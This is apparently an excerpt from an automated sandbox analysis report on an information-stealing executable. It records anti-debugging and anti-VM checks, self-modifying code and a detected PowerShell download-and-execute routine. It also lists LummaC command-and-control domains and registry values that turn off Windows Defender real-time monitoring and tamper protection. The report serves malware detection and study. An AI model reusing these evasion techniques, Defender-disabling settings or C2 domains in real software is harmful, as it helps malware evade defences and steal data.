Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010DAA second address: 5010DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010DB0 second address: 5010DFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA47177F550h 0x00000009 xor eax, 064759D8h 0x0000000f jmp 00007FA47177F54Bh 0x00000014 popfd 0x00000015 push eax 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007FA4E23730F0h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov esi, edi 0x00000025 jmp 00007FA47177F553h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010DFA second address: 5010E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010E00 second address: 5010E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010E04 second address: 5010E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp+08h], 00002000h 0x0000000f pushad 0x00000010 pushad 0x00000011 push edx 0x00000012 pop esi 0x00000013 mov ebx, 430C800Ah 0x00000018 popad 0x00000019 pushad 0x0000001a mov ah, dl 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020934 second address: 5020971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA47177F551h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007FA47177F54Ah 0x00000011 mov dword ptr [esp], ebp 0x00000014 jmp 00007FA47177F550h 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020971 second address: 5020975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020975 second address: 502097B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 502097B second address: 50209A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushad 0x0000000c mov esi, 2870BBF3h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 mov edi, ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50209A2 second address: 5020A77 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b movzx eax, dx 0x0000000e jmp 00007FA47177F54Bh 0x00000013 popad 0x00000014 mov cx, F62Fh 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a jmp 00007FA47177F552h 0x0000001f mov esi, dword ptr [ebp+0Ch] 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FA47177F54Dh 0x00000029 sub esi, 018D5846h 0x0000002f jmp 00007FA47177F551h 0x00000034 popfd 0x00000035 popad 0x00000036 test esi, esi 0x00000038 jmp 00007FA47177F54Eh 0x0000003d je 00007FA4E236CEEEh 0x00000043 jmp 00007FA47177F550h 0x00000048 cmp dword ptr [75C7459Ch], 05h 0x0000004f pushad 0x00000050 call 00007FA47177F54Eh 0x00000055 pushad 0x00000056 popad 0x00000057 pop ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushfd 0x0000005b jmp 00007FA47177F557h 0x00000060 sub ax, 818Eh 0x00000065 jmp 00007FA47177F559h 0x0000006a popfd 0x0000006b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020A77 second address: 5020A8D instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 79ADB497h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007FA4E17D187Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020A8D second address: 5020A9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020A9C second address: 5020AA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020AA2 second address: 5020ABA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020ABA second address: 5020ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020ABE second address: 5020AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020AC2 second address: 5020AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020AC8 second address: 5020ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020B86 second address: 5020BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FA470BCBE76h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020BB7 second address: 5020BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020BBB second address: 5020BC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 6DD1F second address: 6DD60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA47177F557h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e js 00007FA47177F57Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA47177F559h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E8318 second address: 1E831C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E831C second address: 1E8320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E8320 second address: 1E832E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E832E second address: 1E8332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E8332 second address: 1E8341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 ja 00007FA470BCBE66h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1CE9B8 second address: 1CE9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1CE9BC second address: 1CE9DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE79h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1CE9DE second address: 1CE9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1CE9E8 second address: 1CE9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1CE9F1 second address: 1CE9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1CE9F7 second address: 1CE9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1CE9FB second address: 1CEA0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FA47177F546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E751E second address: 1E753C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FA470BCBE70h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E753C second address: 1E7541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E76C0 second address: 1E76C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E76C6 second address: 1E7706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FA47177F557h 0x0000000c jmp 00007FA47177F555h 0x00000011 push edx 0x00000012 jmp 00007FA47177F54Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1E7852 second address: 1E7858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	RDTSC instruction interceptor: First address: 1EB6F8 second address: 1EB73B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA47177F557h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FA47177F54Ch 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA47177F551h 0x0000001e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Special instruction interceptor: First address: 11E0027 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Special instruction interceptor: First address: 120AF41 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Special instruction interceptor: First address: 11F3E93 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Special instruction interceptor: First address: 1269B6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Special instruction interceptor: First address: 6DD84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Special instruction interceptor: First address: 2140CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Special instruction interceptor: First address: 212AC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Special instruction interceptor: First address: 6DC86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Special instruction interceptor: First address: 2B2890 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Special instruction interceptor: First address: 8A6F15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Special instruction interceptor: First address: 70FBF6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Special instruction interceptor: First address: 8B245B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Memory allocated: 4A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Memory allocated: 4D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Memory allocated: 4B70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Code function: 4_2_001E750B rdtsc

4_2_001E750B

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Code function: 4_2_001FDB24 sidt fword ptr [esp-02h]

4_2_001FDB24

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe TID: 7584	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe TID: 7668	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe TID: 8172	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe, QG5URI6Q0ZNU9FS6XT6N3IH7I.exe, 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmp, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2116734457.0000000000888000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: u1z7S3hr06.exe, u1z7S3hr06.exe, 00000000.00000003.1750741861.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1912253838.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1835761795.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1857010479.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn<
Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe, 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmp, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2116734457.0000000000888000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Code function: 4_2_001E750B rdtsc

4_2_001E750B

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe PID: 8188, type: MEMORYSTR

LummaC encrypted strings found

Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: u1z7S3hr06.exe, 00000000.00000003.1698839287.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe, QG5URI6Q0ZNU9FS6XT6N3IH7I.exe, 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: 8Program Manager
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117069475.00000000008D7000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

